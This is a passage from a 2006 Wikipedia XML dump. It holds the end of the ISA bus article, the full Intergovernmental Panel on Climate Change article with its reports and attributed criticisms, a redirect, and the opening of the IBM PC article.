PCI slots were the first physically-incompatible expansion ports to directly squeeze ISA off of the [[motherboard]].  At first, motherboards were largely ISA, including a few PCI slots.  By the mid-[[1990s]], the two slot types were roughly balanced, and ISA slots soon were in the minority on consumer systems.  [[Microsoft]]'s [[PC 98]] specification recommended that ISA slots be removed entirely, though the system architecture still required ISA to be present in some vestigial way internally to handle the [[floppy drive]], [[serial port]]s, etc.  ISA slots remained for a few more years, and it was even possible to see systems with an [[Accelerated Graphics Port]] (AGP) sitting near the [[central processing unit]], an array of PCI slots, and one or two ISA slots near the end.

It is also notable that PCI slots are &quot;rotated&quot; compared to their ISA counterparts&amp;mdash;PCI cards were essentially inserted &quot;upside-down,&quot; allowing ISA and PCI connectors to squeeze together on the motherboard.  Only one of the two connectors can be used in each slot at a time, but this allowed for greater flexibility.

==8-bit ISA (XT bus architecture)==

The '''XT bus architecture''' is an eight-[[bit]] [[Industry Standard Architecture|ISA]] [[Computer bus|bus architecture]] used by [[Intel]] [[Intel 8086|8086]] and Intel [[Intel 8088|8088]] systems in the [[IBM PC]] and [[IBM PC XT]] in the [[1980s]]. It predates the 16-bit ISA architecture used on [[IBM PC AT]] machines.

The XT bus has four [[Direct memory access|DMA]] channels, of which three are brought out to the expansion slots. Of these three, two are normally allocated to machine functions: 
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;border-collapse:collapse; text-align:center&quot;
! DMA channel !! Expansion !! Standard function
|-
| 0 || No || dynamic [[Random Access Memory|RAM]] refresh
|-
| 1 || Yes ||align=&quot;left&quot;| add-on cards
|-
| 2 || Yes ||align=&quot;left&quot;| [[floppy disk]] controller
|-
| 3 || Yes ||align=&quot;left&quot;| [[hard disk]] controller
|}

== Technical data ==

''' 8 bit ISA or XT bus architecture'''

[[Image:XT_Bus_pins.png|right|300px]]

{| class=&quot;wikitable&quot;
| bus width || 8 Bit
|-----
| compatible with || 8 bit ISA
|-----
|[[pin]]s || 62
|-----
| Vcc || +5 V, -5 V, +12 V, -12 V
|-----
| clock || 4.77 MHz 
|}

{{clear}}
'''16 bit ISA'''

[[Image:ISA_Bus_pins.png|right|300px]]

{| class=&quot;wikitable&quot;
| bus width || 16 Bit
|-----
| compatible with || 8 bit ISA, 16 bit ISA
|-----
|[[pin]]s || 98
|-----
| Vcc || +5 V, -5 V, +12 V, -12 V
|-----
| clock || 8.33 MHz 
|}

==Current use==
Apart from specialized industrial use, ISA is all but gone today. Even where present, system manufacturers often shield customers from the term &quot;ISA bus,&quot; referring to it instead as the &quot;legacy bus&quot; (see [[legacy system]]).  The [[PC/104]] bus, used in industrial and embedded applications, is a derivative of the ISA bus, utilizing the same signal lines with different connectors. The [[LPC bus]] has replaced the ISA bus as the connection to the legacy I/O devices on recent motherboards.

== See also ==
* [[Extended Industry Standard Architecture]] (EISA)
* [[Micro Channel architecture]] (MCA)
* [[NuBus]]
* [[VESA Local Bus]] (VESA)
* [[Peripheral Component Interconnect]] (PCI)
* [[Accelerated Graphics Port]] (AGP)
* [[PCI Express]] (PCIe)
* [[PC/104]]
* [[LPC bus]]

== References ==
{{FOLDOC}}

[[Category:Computer buses]]
[[Category:IBM hardware]]
[[Category:IBM PC compatibles]]
[[Category:Motherboard]]

[[de:Industry Standard Architecture]]
[[es:Bus ISA]]
[[eo:ISA]]
[[fr:Industry Standard Architecture]]
[[gl:ISA]]
[[it:Industry Standard Architecture]]
[[he:ISA]]
[[nl:Industry Standard Architecture]]
[[ja:Industry Standard Architecture]]
[[pl:ISA (komputery)]]
[[pt:ISA]]
[[ru:ISA]]
[[sk:Industry Standard Architecture]]
[[fi:ISA]]
[[sv:ISA]]</text>
    </revision>
  </page>
  <page>
    <title>Intergovernmental Panel on Climate Change</title>
    <id>15030</id>
    <revision>
      <id>42064742</id>
      <timestamp>2006-03-03T15:47:55Z</timestamp>
      <contributor>
        <username>Jensbn</username>
        <id>90579</id>
      </contributor>
      <comment>added SAR, TAR, AR4 links (they have had separate articles for a while now, content should be migrated)</comment>
      <text xml:space="preserve">:''IPCC directs here.  For other uses see [[IPCC (disambiguation)]]''.

[[Image:UNFCC Logo.gif|right|frame|IPCC is science authority for the [[United Nations Framework Convention on Climate Change|UNFCCC]] ]]

The '''Intergovernmental Panel on Climate Change''' (IPCC) was established in [[1988]] by two [[United Nations]] organizations, the [[World Meteorological Organization]] (WMO) and the [[United Nations Environment Programme]] (UNEP) to assess the &quot;risk of human-induced [[climate change]]&quot;. The Panel is open to all members of the WMO and UNEP.

IPCC reports are widely cited [http://books.nap.edu/html/climatechange/summary.html] [http://www.ametsoc.org/policy/climatechangeresearch_2003.html] in almost any debate related to climate change [http://www.royalsoc.ac.uk/downloaddoc.asp?id=1630] [http://www.royalsoc.ac.uk/displaypagedoc.asp?id=11509]. The reports have been influential in forming national and international responses to climate change. A small but vocal minority (less than 1.5%) of the scientists involved with the report have accused the IPCC of bias.

==Aims==
The principles of the IPCC operation [http://www.ipcc.ch/about/princ.pdf] are assigned by the relevant [[WMO]] Executive Council and [[UNEP]] Governing Council resolutions and decisions as well as on actions in support of the UN [[Framework Convention on Climate Change]] process.

:&quot;The role of the IPCC is to assess on a comprehensive, objective, open and transparent basis the scientific, technical and socio-economic information relevant to understanding the scientific basis of risk of human-induced climate change, its potential impacts and options for adaptation and mitigation. IPCC reports should be neutral with respect to policy, although they may need to deal objectively with scientific, technical and socio-economic factors relevant to the application of particular policies.			
:Review is an essential part of the IPCC process. Since the IPCC is an intergovernmental body, review of IPCC documents should involve both peer review by experts and review by governments&quot; [http://www.ipcc.ch/about/princ.pdf].

&lt;!-- The template generating the following text has been listed for deletion. Please see http://en.wikipedia.org/wiki/Wikipedia:Templates_for_deletion#Template:Editnote for discussion and voting --&gt;
&lt;!-- Editors Note:  The &quot;human-induced&quot; phrase has been challenged several times. It is in the IPCC &quot;About&quot; page and the IPCC Principles, and indeed in the quote just above.  --&gt;
The stated aims of the IPCC are to assess scientific information relevant to:
# human-induced climate change,
# the impacts of human-induced climate change,
# options for adaptation and mitigation.

The history of the IPCC is described [http://www.ipcc.ch/about/anniversarybrochure.pdf here].

==Operations==
The current Chair of the IPCC is [[Rajendra K. Pachauri]], elected in May 2002; previously [[Robert Watson (scientist)|Robert Watson]] headed the IPCC.

The IPCC Panel is composed of representatives appointed by governments and organizations.  Participation of delegates with appropriate expertise is encouraged. Plenary sessions of the IPCC and IPCC [[Working group|Working Groups]] are held at the level of government representatives. Non Governmental and Intergovernmental Organisations may be allowed to attend as observers. Sessions of the IPCC Bureau, workshops, expert and lead authors meetings are by invitation only [http://www.ipcc.ch/meet/meet.htm]. Attendance at the [[2003]] meeting was 350 government officials and climate change experts.  After the opening ceremonies, plenary sessions are closed meetings [http://www.ipcc.ch/press/pr14022003.html]. The meeting report [http://www.ipcc.ch/meet/session20/finalreport20.pdf] states there were 322 persons in attendance at Sessions and with about seven-eighths of participants being from governmental organizations [http://www.ipcc.ch/meet/drepipcc20att-a.pdf].

The IPCC is led by government scientists, but also involves several hundred academic scientists and researchers. It synthesises the available information about [[climate change]] and [[global warming]], has published four major reports reviewing the latest climate science, as well as more specialized reports. 

The IPCC does not carry out research nor does it monitor climate related data or other relevant parameters. It bases its assessment mainly on peer reviewed and published scientific/technical literature [http://www.ipcc.ch/about/about.htm].

There are several major groups:
* IPCC Panel: Meets in plenary session about once a year and controls the organization's structure and procedures. The Panel is the IPCC corporate entity.
* Chair: Elected by the Panel.
* Secretariat: Oversees and manages all activities.  Supported by [[UNEP]] and [[WMO]].
* Bureau: Elected by the Panel.  Chaired by the Chair.  30 members include IPCC Vice-Chairs, Co-Chairs and Vice-Chairs of Working Groups and Task Force.
* Working Groups: Each has two Co-Chairs, one from the developed and one from developing world, and a technical support unit.
** Working Group I: Assesses scientific aspects of the climate system and climate change.
** Working Group II: Assesses vulnerability of socio-economic and natural systems to climate change, consequences, and adaptation options.
** Working Group III: Assesses options for limiting greenhouse gas emissions and otherwise mitigating climate change.
* Task Force on National Greenhouse Gas Inventories

The IPCC receives funding from UNEP, WMO, and its own Trust Fund for which it solicits contributions from governments.

== Activities ==
The IPCC concentrates its activities on the tasks allotted to it by the relevant [[WMO]] Executive Council and [[UNEP]] Governing Council resolutions and decisions as well as on actions in support of the [[United Nations Framework Convention on Climate Change|UN Framework Convention on Climate Change]] process [http://www.ipcc.ch/about/princ.pdf].

The IPCC is currently (April 2006) in the process of preparing the ''[[IPCC Fourth Assessment Report]]'' or AR4 [http://www.ipcc.ch/activity/ar.htm#ar4]; reports of the workshops held so far are available [http://www.ipcc.ch/activity/workshops.htm].
* Working Group I [http://ipcc-wg1.ucar.edu/wg1/wg1_home.html]:
** Report is due to be finalised during the first quarter of [[2007]].
** As of [[May 2005]], there have been 3 AR4 meetings, with only public information being meeting locations, an author list, one invitation, one agenda, and one list of presentation titles.
* Working Group II [http://www.gtp89.dial.pipex.com/index.htm]:
** Report is due to be finalised in mid-[[2007]].
** As of [[May 2005]], there have been 2 AR4 meetings, with no public information released.
** One shared meeting with WG III has taken place, with a published summary.
* Working Group III [http://www.rivm.nl/mnp/ieweb/ipcc/index.html]:
** Report is due to be finalized in mid-[[2007]].
** As of [[May 2005]], there has been 1 AR4 meeting, with no public information released.

If it is decided to prepare one the AR4 Synthesis Report (SYR) would be finalised during the last quarter of 2007. Documentation on the scoping meetings for the AR4 are available [http://www.ipcc.ch/meet/ar4scope.htm] as are the outlines for the WG I report [http://www.ipcc.ch/activity/wg1outlines.pdf] and a provisional author list [http://www.ipcc.ch/activity/wg1authors.pdf].

While the preparation of the assessment reports is a major IPCC function, it also supports other activities, such as the Data Distribution Centre [http://ipcc-ddc.cru.uea.ac.uk/] and the National Greenhouse Gas Inventories Programme [http://www.ipcc-nggip.iges.or.jp/], required under the [[UNFCCC]]. This involves publishing default [[emission factor]]s, which are factors used to derive emissions estimates based on the levels of fuel consumption, industrial production and so on.

The IPCC also often answers inquiries from the UNFCCC '''Subsidiary Body for Scientific and Technological Advice (SBSTA)'''.

== Publications ==
The IPCC reports are a compendium of [[peer review]]ed and published science.  Each subsequent IPCC report notes areas where the science has improved since the previous report and also notes areas where further research is required.

Authors for the IPCC reports are chosen from a list of researchers prepared by governments, and participating organisations and the Working Group/Task Force Bureaux, and other experts as appropriate, known through their publications and works ([http://www.ipcc.ch/about/app-a.pdf], 4.2.1,2). The composition of the group of Coordinating Lead Authors and Lead Authors for a section or chapter of a Report is intended to reflect the need to aim for a range of views, expertise and geographical representation (ensuring appropriate representation of experts from developing and developed countries and countries with economies in transition).

There are generally three stages in the review process [http://www.ipcc.ch/about/app-a.pdf]:
* Expert review (6-8 weeks)
* Government/expert review 
* Government review of:
** Summaries for Policymakers
** Overview Chapters
** Synthesis Report
Review comments are in an open archive for at least five years.

There are several types of endorsement which documents receive [http://www.ipcc.ch/about/app-a.pdf]:
* '''approval''': Material has been subjected to detailed, line by line discussion and agreement.
** Working Group Summaries for Policymakers are ''approved'' by their Working Groups.
** Synthesis Report Summary for Policymakers is ''approved'' by Panel.
* '''adoption''': Endorsed section by section (and not line by line).
** Panel ''adopts'' Overview Chapters of Methodology Reports.
** Panel ''adopts'' IPCC Synthesis Report.
* '''acceptance''': Not been subject to line by line discussion and agreement, but presents a comprehensive, objective, and balanced view of the subject matter.
** Working Groups ''accepts'' their reports.
** Task Force Reports are ''accepted'' by the Panel.
** Working Group Summaries for Policymakers are ''accepted'' by the Panel after group ''approval''.

The Panel is responsible for the IPCC and its endorsement of Reports allows it to ensure they meet IPCC standards. The Panel's ''approval'' process has been criticized for changing the product of the experts who create the Reports. On the other hand, not requiring Panel re-endorsement of Reports has also been criticized, after changes required by the approval process were made to Reports.

== IPCC Reports ==
The IPCC published a [[IPCC First Assessment Report|first assessment report]] in 1990, a supplementary report in 1992, a [[IPCC Second Assessment Report|second assessment report (SAR)]] in 1995, and a [[IPCC Third Assessment Report|third assessment report (TAR)]] in 2001. A [[IPCC Fourth Assessment Report|fourth assessment report (AR4)]] is currently underway. Each of the assessment reports is in three volumes from the working groups I, II and III. Unqualified, &quot;the IPCC report&quot; is often used to mean the WG I report.

=== Consensus in reports ===
IPCC Reports attempt to present a scientific consensus view. The general approach of identifying consensus among a group of climate scientists means that areas where there remains considerable uncertainty tend to be automatically deemphasized or simply omitted [http://www.ipcc.ch/activity/cct1.pdf]. Another means of handling consensus problems was used in the SRES scenarios, where due to a lack of consensus there were many variations included with no indication of which are more probable {{doi|10.1038/35075167}}.

&quot;Firstly, the Panel as a whole must always respect and consider the specific perspectives of each member. But, more importantly, each member must respect and consider the perspectives of the entire Panel. Consensus is not something that happens by itself. It is an outcome that has to be shaped, and the only basis for shaping it is to follow the two cardinal rules that I have just mentioned&quot; &amp;mdash; Dr Rajendra K. Pachauri, Chairman of the IPCC[http://www.ipcc.ch/press/sp-09112004.htm].

=== IPCC Fourth Assessment Report: AR4 ===
:''Main article: [[IPCC Fourth Assessment Report]]''
Work on the fourth assessment report (AR4) is well underway [http://ipcc-wg1.ucar.edu/wg1/wg1_home.html]. Author lists and a chapter outline of the WGI report are available [http://ipcc-wg1.ucar.edu/wg1/wg1_ar4.html], as is a poster of the basic contents and new foci of AR4 [http://ipcc-wg1.ucar.edu/wg1/WG1AR4_Poster.pdf]. The report's publication is planned for early 2007 .

=== IPCC Third Assessment Report: Climate Change 2001===
:''Main article: [[IPCC Third Assessment Report]]''
The most recent IPCC report is ''Climate Change 2001'', the Third Assessment Report (TAR). 

The TAR consists of four reports, three of them from the Working Groups:
* Working Group I: The Scientific Basis [http://www.grida.no/climate/ipcc_tar/wg1/index.htm]
* Working Group II: Impacts, Adaptation and Vulnerability [http://www.grida.no/climate/ipcc_tar/wg2/index.htm]
* Working Group III: Mitigation [http://www.grida.no/climate/ipcc_tar/wg3/index.htm]
* Synthesis Report [http://www.grida.no/climate/ipcc_tar/vol4/index.htm]

The &quot;headlines&quot; from the summary for policymakers [http://www.grida.no/climate/ipcc_tar/wg1/005.htm] in ''The Scientific Basis'' were:

#An increasing body of observations gives a collective picture of a warming world and other changes in the climate system (The global average surface temperature has increased over the 20th century by about 0.6°C; Temperatures have risen during the past four decades in the lowest 8 kilometres of the atmosphere; Snow cover and ice extent have decreased)
#Emissions of greenhouse gases and aerosols due to human activities continue to alter the atmosphere in ways that are expected to affect the climate (Anthropogenic aerosols are short-lived and mostly produce negative radiative forcing; Natural factors have made small contributions to radiative forcing over the past century)
#Confidence in the ability of models to project future climate has increased (Complex physically-based climate models are required to provide detailed estimates of feedbacks and of regional features. Such models cannot yet simulate all aspects of climate (e.g., they still cannot account fully for the observed trend in the surface-troposphere temperature difference since 1979) and there are particular uncertainties associated with clouds and their interaction with radiation and aerosols. Nevertheless, confidence in the ability of these models to provide useful projections of future climate has improved due to their demonstrated performance on a range of space and time-scales [http://www.grida.no/climate/ipcc_tar/wg1/007.htm].)
#There is new and stronger evidence that most of the warming observed over the last 50 years is attributable to human activities
#Human influences will continue to change atmospheric composition throughout the 21st century
#Global average temperature and sea level are projected to rise under all IPCC SRES scenarios

The TAR estimate for the [[climate sensitivity]] is 1.5 to 4.5 °C; and the average surface temperature is projected to increase by 1.4 to 5.8 Celsius degrees over the period 1990 to 2100, and the sea level is projected to rise by 0.1 to 0.9 metres over the same period.  The wide range in predictions is based upon several different scenarios that assume different levels of future CO&lt;sub&gt;2&lt;/sub&gt; emissions. Each scenario then has a range of possible outcomes associated with it. The most optimistic outcome assumes an aggressive campaign to reduce CO&lt;sub&gt;2&lt;/sub&gt; emissions, while the most pessimistic is a &quot;business as usual&quot; scenario.  The more realistic scenarios fall in between.

IPCC predictions are based on the same models used to establish the importance of the different factors in global warming.
These models need data about anthropogenic emissions of greenhouse gases and aerosols.
These data are predicted from [[economic model]]s based on 35 different scenarios.
Scenarios go from pessimistic to optimistic, and predictions of global warming depend on the kind of scenario considered.

IPCC uses the best available predictions and their reports are under strong scientific scrutiny.
The IPCC concedes that there is a need for better models and better scientific understanding of some climate phenomena, as well as the uncertainties involved.
Critics assert that the available data is not sufficient to determine the real importance of [[greenhouse gas]]es in climate change.
Sensitivity of climate to greenhouse gases may be overestimated or underestimated because of some flaws in the models and because the importance of some external factors may be misestimated. The predictions are based on scenarios, and the IPCC did not assign any probability to the 35 scenarios used.

==== Debate over Climate Change 2001 ====
===== Economic growth estimates =====
Castles and Henderson asserted that the IPCC has been using inflated economic growth rates, which result in increased emission estimates [http://www.co2andclimate.org/climate/previous_issues/vol8/v8n13/assess.htm]. This was incorrect because IPCC growth and emissions rates were based upon several factors and not only [[Gross domestic product|GDP]], as rebutted by [http://www.multi-science.co.uk/ee.htm Nebojsa Nakicenovic et al.]

===== Physical modeling =====
:''See also: [[global climate model]]''

A few participants in IPCC Working Group I (Science) do not agree with the IPCC reports (of the 120 lead authors, 2 have complained [http://www.warwickhughes.com/climate/consensus.htm]).

A particularly active critic, [[Massachusetts Institute of Technology|MIT]] physicist [[Richard Lindzen]], expressed his unhappiness about those portions in the Executive Summary based on his contributions in [[May 2001]] before the [[U.S. Senate Committee on Commerce, Science and Transportation]]:

:&quot;The summary does not reflect the full document... For example, I worked on Chapter 7, Physical Processes. This chapter dealt with the nature of the basic processes which determine the response of climate, and found numerous problems with model treatments &amp;#8211; including those of clouds and water vapor. The chapter was summarized with the following sentence: 'Understanding of climate processes and their incorporation in climate models have improved, including water vapour, sea-ice dynamics, and ocean heat transport.'&quot;

The &quot;Summary for Policymakers&quot; of the WG1 reports ''does'' include caveats on model treatments: ''Such models cannot yet simulate all aspects of climate (e.g., they still cannot account fully for the observed trend in the surface-troposphere temperature difference since 1979) and there are particular uncertainties associated with clouds and their interaction with radiation and aerosols.  Nevertheless, confidence in the ability of these models to provide useful projections of future climate has improved due to their demonstrated performance on a range of space and time-scales.'' [http://www.grida.no/climate/ipcc_tar/wg1/007.htm].

These statements are in turn supported by the executive summary of chapter 8 of the report, which includes:

*  ''Coupled models can provide credible simulations of both the present annual mean climate and the climatological seasonal cycle over broad continental scales for most variables of interest for climate change. Clouds and humidity remain sources of significant uncertainty but there have been incremental improvements in simulations of these quantities''.

* ''Confidence in the ability of models to project future climates is increased by the ability of several models to reproduce the warming trend in 20th century surface air temperature when driven by radiative forcing due to increasing greenhouse gases and sulphate aerosols. However, only idealised scenarios of only sulphate aerosols have been used''.

=== IPCC Second Assessment Report: Climate Change 1995 ===
:''Main article: [[IPCC Second Assessment Report]]''
''Climate Change 1995'', the IPCC Second Assessment Report (SAR) was finished in [[1996]]. It is split into four parts:
* A synthesis to help interpret [[UNFCCC]] article 2.
* ''The Science of Climate Change'' (WG I)
* ''Impacts, Adaptations and Mitigation of Climate Change'' (WG II)
* ''Economic and Social Dimensions of Climate Change'' (WG III)

Each of the last three parts was completed by a separate working group, and each has a Summary for Policymakers (SfP) that represents a consensus of national representatives. The SfP of the WG I report contains headings:

# Greenhouse gas concentrations have continued to increase
# Anthropogenic aerosols tend to produce negative radiative forcings
# Climate has changed over the past century (air temperature has increased by between 0.3 and 0.6  &amp;deg;C since the late 19th century; this estimate has not significantly changed since the 1990 report).
# The balance of evidence suggests a discernible human influence on global climate (considerable progress since the 1990 report in distinguishing between natural and anthropogenic influences on climate, because of: including aerosols; coupled models; pattern-based studies)
# Climate is expected to continue to change in the future (increasing realism of simulations increases confidence; important uncertainties remain but are taken into account in the range of model projections)
# There are still many uncertainties (estimates of future emissions and biogeochemical cycling; models; instrument data for model testing, assessment of variability, and detection studies)

==== Debate over Climate Change 1995 ====
Most scientists involved in climate research believe that the IPCC reports accurately summarise the state of knowledge. Few scientists have objected and made public comments to that effect.

The report formed the basis of negotiations over the [[Kyoto Protocol]].

A [[December 20]], [[1995]], Reuters report quoted British scientist [[Keith Shine]], one of IPCC's lead authors, discussing the Policymakers' Summary. He said: &quot;We produce a draft, and then the policymakers go through it line by line and change the way it is presented.... It's peculiar that they have the final say in what goes into a scientists' report&quot;. It is not clear, in this case, whether Shine was complaining that the report had been changed to be more skeptical, or less, or something else entirely.

Dr. [[Frederick Seitz]], president emeritus of Rockefeller University and past president of the National Academy of Sciences, has publicly denounced the IPCC report, writing &quot;I have never witnessed a more disturbing corruption of the peer-review process than the events that led to this IPCC report&quot;. He opposed it in the [[Leipzig Declaration]] of his [[Science and Environmental Policy Project]].

In turn, Seitz's comments were vigorously opposed by the presidents of the [[American Meteorological Society]] and [[University Corporation for Atmospheric Research]], who wrote about a ''systematic effort by some individuals to undermine and discredit the scientific process that has led many scientists working on understanding climate to conclude that there is a very real possibility that humans are modifying Earth's climate on a global scale. Rather than carrying out a legitimate scientific debate... they are waging in the public media a vocal campaign against scientific results with which they disagree'' [http://www.ucar.edu/communications/quarterly/summer96/insert.html].

[[S. Fred Singer]] disseminated a letter about what he learned about changes to Chapter 8, interpretations of the IPCC Summary's key conclusion, and some policy implications [http://www.sepp.org/ipcccont/ipccflap.htm]:
# Chapter 8 was altered substantially in order to make it conform to the Summary;
# Three key clauses-- expressing the consensus of authors, contributors, and reviewers-- should have been placed into the Summary instead of being deleted from the approved draft chapter;
# The ambiguous phrase &quot;the balance of evidence suggests a discernible human influence on global climate&quot; has been (mis)interpreted by policymakers to mean that a major global warming catastrophe will soon be upon us;
# The IPCC report and its authors are being (mis)used by politicians and others to push an ideologically based agenda.

Dr. [[Benjamin D. Santer]], Convening Lead Author of Chapter 8 of 1995 IPCC Working Group I Report, replied [http://www.sepp.org/ipcccont/Item08.htm]:
# All revisions were made with the sole purpose of producing the best-possible and most clearly-explained assessment of the science, and were under the full scientific control of the Convening Lead Author of Chapter 8.
#* Changes were made in direct response to:
#** Written comments made by governments and non-governmental organizations (NGOs) during October and November 1995.
#** Comments made by governments and NGOs during the plenary sessions of the IPCC meeting that was held in [[Madrid]] from [[November 27]]-29th, [[1995]].
#* Post-Madrid changes to Chapter 8 were made solely in response to review comments and/or in order to clarify scientific points.
# After receiving much criticism of the redundancy of a concluding summary (Section 8.7) in October and November 1995, the Convening Lead Author of Chapter 8 decided to remove it. About half of the information in the concluding summary was integrated with material in Section 8.6. 
# The bottom-line assessment of the science in the [[October 9]]th draft of Chapter 8 was &quot;Taken together, these results point towards a human influence on climate&quot;.
#* The final assessment in the now-published Summary for Policymakers is that &quot;the balance of evidence suggests that there is a discernible human influence on global climate&quot;.
#** The latter sentence, which is entirely consistent with the earlier Oct. 9th sentence, was unanimously approved at the Madrid meeting by delegates from nearly 100 countries.
# None of the changes were politically motivated.

=== IPCC supplementary report, 1992 ===
The 1992 supplementary report was an update, requested in the context of the negotiations on the [[Framework Convention on Climate Change]] at the [[Earth Summit]] (United Nations Conference on Environment and Development) in [[Rio de Janeiro]] in [[1992]].

The major conclusion was that research since [[1990]] did &quot;not affect our fundamental understanding of the science of the greenhouse effect and either confirm or do not justify alteration of the major conclusions of the first IPCC scientific assessment&quot;. It noted that transient (time-dependent) simulations, which had been very preliminary in the FAR, were now improved, but did not include aerosol or ozone changes.

=== IPCC First Assessment Report: 1990 ===
The IPCC first assessment report was completed in 1990, and served as the basis of the [[United Nations Framework Convention on Climate Change]] (UNFCCC).

The executive summary of the policymakers summary of the WG I report includes:

*We are certain of the following: there is a natural greenhouse effect...; emissions resulting from human activities are substantially increasing the atmospheric concentrations of the greenhouse gases: CO&lt;sub&gt;2&lt;/sub&gt;, methane, CFCs and nitrous oxide. These increases will enhance the greenhouse effect, resulting on average in an additional warming of the Earth's surface. The main greenhouse gas, water vapour, will increase in response to global warming and further enhance it.

*We calculate with confidence that: ...CO&lt;sub&gt;2&lt;/sub&gt; has been responsible for over half the enhanced greenhouse effect; long-lived gases would require immeadiate reductions in emissions from human activities of over 60% to stabilise their concentrations at today's levels...

*Based on current models, we predict: under [BAU] increase of global mean temperature during the [21st] century of about 0.3 &lt;sup&gt;o&lt;/sup&gt;C per decade (with an uncertainty range of 0.2 to 0.5 &lt;sup&gt;o&lt;/sup&gt;C per decade); this is greater than that seen over the past 10,000 years; under other ... scenarios which assume progressively increasing levels of controls, rates of increase in global mean temperature of about 0.2 &lt;sup&gt;o&lt;/sup&gt;C [to] about 0.1 &lt;sup&gt;o&lt;/sup&gt;C per decade.

*There are many uncertainties in our predictions particularly with regard to the timing, magnitude and regional patterns of climate change, due to our incomplete understanding of: sources and sinks of GHGs; clouds; oceans; polar ice sheets.

*Our judgement is that: global mean surface air temperature has increased by 0.3 to 0.6 &lt;sup&gt;o&lt;/sup&gt;C over the last 100 years...; The size of this warming is broadly consistent with predicion of climate models, but it is also of the same magnitude as natural climate variability. Thus the observed increase could be largely due to this natural variability; alternatively this variability and other human factors could have offset a still larger human-induced greenhouse warming. The unequivocal detection of the enhanced greenhouse effect is not likely for a decade or more.

==== Debate over IPCC First Assessment Report: 1990 ====
In 1991, the [[SEPP]] (The Science &amp; Environmental Policy Project) surveyed IPCC contributors and researchers, along with a comparison group of global warming skeptics who had not contributed [http://www.sepp.org/glwarm/noscicons.html].  The responses showed that 40% of the IPCC group did not agree with the IPCC FAR summary, and felt that it might convey a misleading message to the public with its emphasis on the certainty about the natural greenhouse effect.  The responses also showed that the majority of respondents thought that models had not been adequately validated with observational data, and that attribution of observed warming to an enhanced greenhouse effect had not been shown using only observational data.  60% of respondents also thought that the climate models used did not accurately represent the physical atmosphere-ocean system.

== Criticism of IPCC ==
=== Landsea ===
In January of 2005 Christopher Landsea resigned from work on the [[IPCC fourth Assessment Report|IPCC AR4]], saying: 

:&quot;I personally cannot in good faith continue to contribute to a process that I view as both being motivated by pre-conceived agendas and being scientifically unsound. As the IPCC leadership has seen no wrong in [[Kevin E. Trenberth|Dr. Trenberth]]'s actions and have retained him as a Lead Author for the AR4, I have decided to no longer participate in the IPCC AR4&quot; [http://sciencepolicy.colorado.edu/prometheus/archives/science_policy_general/000318chris_landsea_leaves.html].

=== IPCC processes ===

* &quot;The IPCC is monolithic and complacent, and it is conceivable that they are exaggerating the speed of change&quot; ([[John Maddox]], a former editor of the journal ''[[Nature (journal)|Nature]]'', quoted by David Adam in The Guardian, [[28 January]] [[2005]]).

* UK House of Lords Science and Economic Analysis and Report on IPCC for the G-8 Summit, July 2005: &quot;We have some concerns about the objectivity of the IPCC process, with some of its emissions scenarios and summary documentation apparently influenced by political considerations. There are significant doubts about some aspects of the IPCC’s emissions scenario exercise, in particular, the high emissions scenarios. The Government should press the IPCC to change their approach. There are some positive aspects to global warming and these appear to have been played down in the IPCC reports; the Government should press the IPCC to reflect in a more balanced way the costs and benefits of climate change. The Government should press the IPCC for better estimates of the monetary costs of global warming damage and for explicit monetary comparisons between the costs of measures to control warming and their benefits. Since warming will continue, regardless of action now, due to the lengthy time lags.&quot; [http://www.publications.parliament.uk/pa/ld200506/ldselect/ldeconaf/12/12i.pdf]

== See also ==
* [[Global warming]]

== External links ==
* [http://www.ipcc.ch/ The IPCC web site]
** [http://www.ipcc.ch/about/bureau.htm IPCC organisation]
** [http://www.ipcc.ch/about/princ.pdf IPCC Principles]
** [http://www.ipcc.ch/pub/sa(E).pdf Second Assessment Synthesis Report (pdf)]
** [http://www.ipcc.ch/pub/sarsum1.htm Second Assessment Summary for Policymakers] from the Working Group 1 (Science) Report.
** [http://www.grida.no/climate/ipcc_tar/wg1/index.htm Third Assessment Report]
* [http://www.sepp.org/ipcccont/ipcccont.html The IPCC Controversy] - from the [[SEPP]]
* [http://www.manicore.com/anglais/documentation_a/greenhouse/IPCC.html climate change - What is the IPCC] by Jean-Marc Jancovici

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      <comment>redirect again, adding HTML comment</comment>
      <text xml:space="preserve">#redirect [[Intergovernmental Panel on Climate Change]]</text>
    </revision>
  </page>
  <page>
    <title>IBM PC</title>
    <id>15032</id>
    <revision>
      <id>42089438</id>
      <timestamp>2006-03-03T19:30:45Z</timestamp>
      <contributor>
        <ip>70.89.207.230</ip>
      </contributor>
      <comment>/* Electronics */</comment>
      <text xml:space="preserve">[[image:IBM PC 5150.jpg|right|thumb|300px|IBM PC (IBM 5150) with keyboard and green screen monochrome monitor (IBM 5151).]]

The '''IBM PC™''' ('''''P'''ersonal '''C'''omputer''), was the original version and progenitor of  the [[IBM PC compatible]] hardware [[platform (computing)|platform]]. It was introduced on [[August 11]], [[1981]]. The original model was designated the '''IBM 5150'''. It was created by a team of 12 engineers and designers under the direction of [[Don Estridge]] of the IBM Entry Systems Division in [[Boca Raton, Florida]].

The phrase &quot;personal computer&quot; was common currency before 1981, and was used as early as 1972 to characterize [[Xerox PARC]]'s [[Xerox Alto|Alto]]. However, due to the success of the IBM PC, what had been a generic term came to mean specifically a [[microcomputer]] compatible with IBM's specification.

During the second quarter of [[2005]], the [[China|Chinese]] [[Lenovo Group]] secured the rights to produce IBM branded personal computers. This move reflects IBM's present lack of interest in the personal computer in favor of the [[server]]/[[IBM mainframe|mainframe]] markets, as well as providing [[business consulting]] and [[IT services]] markets.

''Note the following distinctions within the general subject of personal computers'' :
*For details on &quot;PC compatible&quot; computers (aka &quot;PC clones&quot; or just &quot;PC&quot;s, and making up the majority of today's computers), see ''[[IBM PC compatible]]''
*For a discussion of generic &quot;personal computers&quot;, see ''[[personal computer]]''
*For details of the second generation of microcomputers, which largely died out with the Personal Computer revolution, see ''[[home computer]]''


== The IBM PC concept ==

The original ''PC'' was an [[IBM]] attempt to get into the home computer market then dominated by the  [[Apple II]] and a host of [[CP/M]] machines.

Rather than going through the usual IBM design process, which had already failed to design an affordable microcomputer (for example the failed [[IBM 5100]]), a special team was assembled with authorization to bypass normal company restrictions and get something to market rapidly. This project was given the code name ''Project Chess''.

